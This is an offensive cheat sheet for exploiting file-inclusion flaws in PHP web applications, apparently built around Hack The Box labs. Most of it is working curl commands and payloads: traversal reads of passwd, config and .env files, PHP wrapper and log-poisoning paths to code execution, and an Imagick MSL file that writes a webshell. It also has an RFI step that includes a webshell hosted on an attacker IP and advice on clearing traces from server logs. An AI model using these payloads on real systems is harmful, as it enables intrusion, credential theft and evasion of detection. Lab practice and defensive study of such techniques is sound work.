Local File Inclusion (LFI) & Remote File Inclusion (RFI)
#Overview
Local File Inclusion (LFI) vulnerabilities allow an attacker to read arbitrary files on the web server by manipulating file path parameters. When the application uses user-supplied input to include server-side files without proper sanitization, attackers can traverse directories and read sensitive files such as configuration files, logs, and SSH keys. LFI can often be escalated to Remote Code Execution through PHP wrapper abuse, log poisoning, or chaining with file upload vulnerabilities.
#Prerequisites
- Identified parameter that accepts file paths (
page=,file=,template=,language=) - PHP web application (most common LFI target, but applies to any include-based framework)
- Python HTTP server for RFI escalation
#Detection & Enumeration
#Basic LFI Detection
# Standard directory traversal
curl -s 'http://target.htb/page=../../../etc/passwd'
curl -s 'http://target.htb/index.php?page=/etc/passwd'
# Null byte injection (legacy PHP < 5.3.4)
curl -s 'http://target.htb/page=../../../etc/passwd%00'
# Double encoding bypass
curl -s 'http://target.htb/page=%252e%252e%252f%252e%252e%252fetc/passwd'
# Path truncation (legacy PHP < 5.2.8, filesystem limit 4096 chars)
curl -s 'http://target.htb/page=../../../etc/passwd././././././'
BASH
#Windows LFI
# Windows file targets for LFI verification
curl -s 'http://target.htb/page=../../windows/win.ini'
curl -s 'http://target.htb/page=../../windows/system32/drivers/etc/hosts'
BASH
#Exploitation / Execution
#PHP Wrappers -- Source Code Extraction
# php://filter -- base64 encode source to bypass execution, then decode locally
curl -s 'http://target.htb/page=php://filter/convert.base64-encode/resource=index.php'
# Decode locally: echo "<base64>" | base64 -d
# Read config files
curl -s 'http://target.htb/page=php://filter/convert.base64-encode/resource=../config.php'
curl -s 'http://target.htb/page=php://filter/convert.base64-encode/resource=../.env'
BASH
#LFI to RCE via PHP Wrappers
# data:// wrapper -- inline PHP code execution
curl -s 'http://target.htb/page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=='
# Decoded: <?php system('id'); ?>
# input:// wrapper -- send PHP code in POST body
curl -s -X POST 'http://target.htb/page=php://input' \
-d '<?php system("id"); ?>'
# expect:// wrapper -- direct command execution (if expect module loaded)
curl -s 'http://target.htb/page=expect://id'
BASH
#Log Poisoning to RCE
# Apache access log poisoning -- inject PHP code via User-Agent
curl -s -H 'User-Agent: <?php system($_GET["c"]); ?>' 'http://target.htb/'
# Then include the log file
curl -s 'http://target.htb/page=/var/log/apache2/access.log&c=id'
# Alternative log paths by distribution:
# Debian/Ubuntu: /var/log/apache2/access.log
# RHEL/CentOS: /var/log/httpd/access.log
# Nginx: /var/log/nginx/access.log
# SSH auth log poisoning
ssh "<?php system(\$_GET['c']); ?>"@target.htb
# Then: curl 'http://target.htb/page=/var/log/auth.log&c=id'
# Email log poisoning (if mail service running)
# /var/log/mail.log, /var/log/maillog
BASH
#/proc/ Filesystem Enumeration (Linux)
# /proc/self/environ -- environment variables with PHP
curl -s 'http://target.htb/page=/proc/self/environ'
# /proc/self/cmdline -- current process command line
curl -s 'http://target.htb/page=/proc/self/cmdline'
# /proc/self/fd/ -- file descriptor brute force for temporary files
for i in $(seq 0 50); do
curl -s "http://target.htb/page=/proc/self/fd/$i"
done
BASH
#LFI via Imagick MSL (Intentions HTB Technique)
<!-- payload.msl -- Imagick MSL file for arbitrary file write -->
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @passthru(@$_REQUEST['c']); ?>" />
<write filename="info:/var/www/html/intentions/storage/app/public/rce.php" />
</image>
XML
# Upload MSL via multipart form referencing PHP temp files with wildcard
curl 'http://target.htb/api/v2/admin/image/modify' -X POST \
-H 'Cookie: token=...' \
-F 'path=vid:msl:/tmp/php*' \
-F 'effect=asd' \
-F 'file=@payload.msl'
# Access webshell
curl 'http://target.htb/storage/rce.php?c=id'
BASH
#Session File Inclusion
# If sessions are stored in known files (e.g., /tmp/sess_<session_id>)
# Register/login to set session variables with PHP code payload
# Then include the session file
curl -s 'http://target.htb/page=/tmp/sess_<your_session_id>'
# Session paths: /tmp/sess_*, /var/lib/php/sessions/sess_*
BASH
#RFI -- Remote URL Inclusion for RCE
# Host a PHP webshell on your attacker machine
echo '<?php system($_GET["c"]); ?>' > shell.txt
python3 -m http.server 80
# Include it remotely (if allow_url_include is enabled)
curl -s 'http://target.htb/page=http://10.10.14.40/shell.txt&c=id'
# Alternative: include via FTP/SMB if HTTP is blocked
# Host FTP server and use: ftp://10.10.14.40/shell.txt
BASH
#Filter Bypass Techniques
# Double URL encoding
curl -s 'http://target.htb/file=%252e%252e%252f%252e%252e%252fetc/passwd'
# Unicode/UTF-8 encoding
curl -s 'http://target.htb/file=..%c0%af..%c0%afetc/passwd'
# Path truncation with ./
curl -s 'http://target.htb/file=....//....//....//....//etc/passwd'
# Absolute path instead of traversal
curl -s 'http://target.htb/file=/etc/passwd'
# Null byte (legacy PHP)
curl -s 'http://target.htb/file=/etc/passwd%00.php'
BASH
#LFI + File Upload Chain
# Upload a file containing PHP code (even as image/avatar)
# Then include the uploaded file via LFI
curl -s 'http://target.htb/page=uploads/avatar_12345.jpg'
# Works with: GIF with PHP code in comment field, PNG with PHP in metadata
BASH
#Common Pitfalls
- PHP wrapper
expect://not available -- expect module rarely enabled data://wrapper blocked -- use base64 encoding inside data://- Log poisoning path wrong -- verify the web server and distribution first
- File extension auto-appended (.php, .html) -- use null byte or path truncation
php://filterchain returns empty -- resource path incorrect, verify with directory traversalallow_url_include=Off-- RFI not possible, fall back to LFI-to-RCE chain
#OPSEC Considerations
- Log poisoning leaves PHP code in server logs -- clean up after exploitation
- Multiple log injection attempts generate noise in auth and access logs
- php://filter base64 reads generate large response payloads in access logs
- /proc/self/environ leaks sensitive environment variables if accessible
#Post-Exploitation Value
- Application source code for full security review
- Database configuration files with credentials
- Environment variables with API keys and secrets
- SSH private keys for lateral movement
- Log poisoning yields direct RCE as the web server user
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| LFISuite | https://github.com/D35m0nd142/LFISuite |
| LFImap | https://github.com/hansmach1ne/LFImap |
| dotdotpwn | https://github.com/wireghoul/dotdotpwn |
| PayloadsAllTheThings LFI | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
#Source Machines
- Intentions (Hard, Linux) -- Imagick MSL-based LFI to write webshell in public directory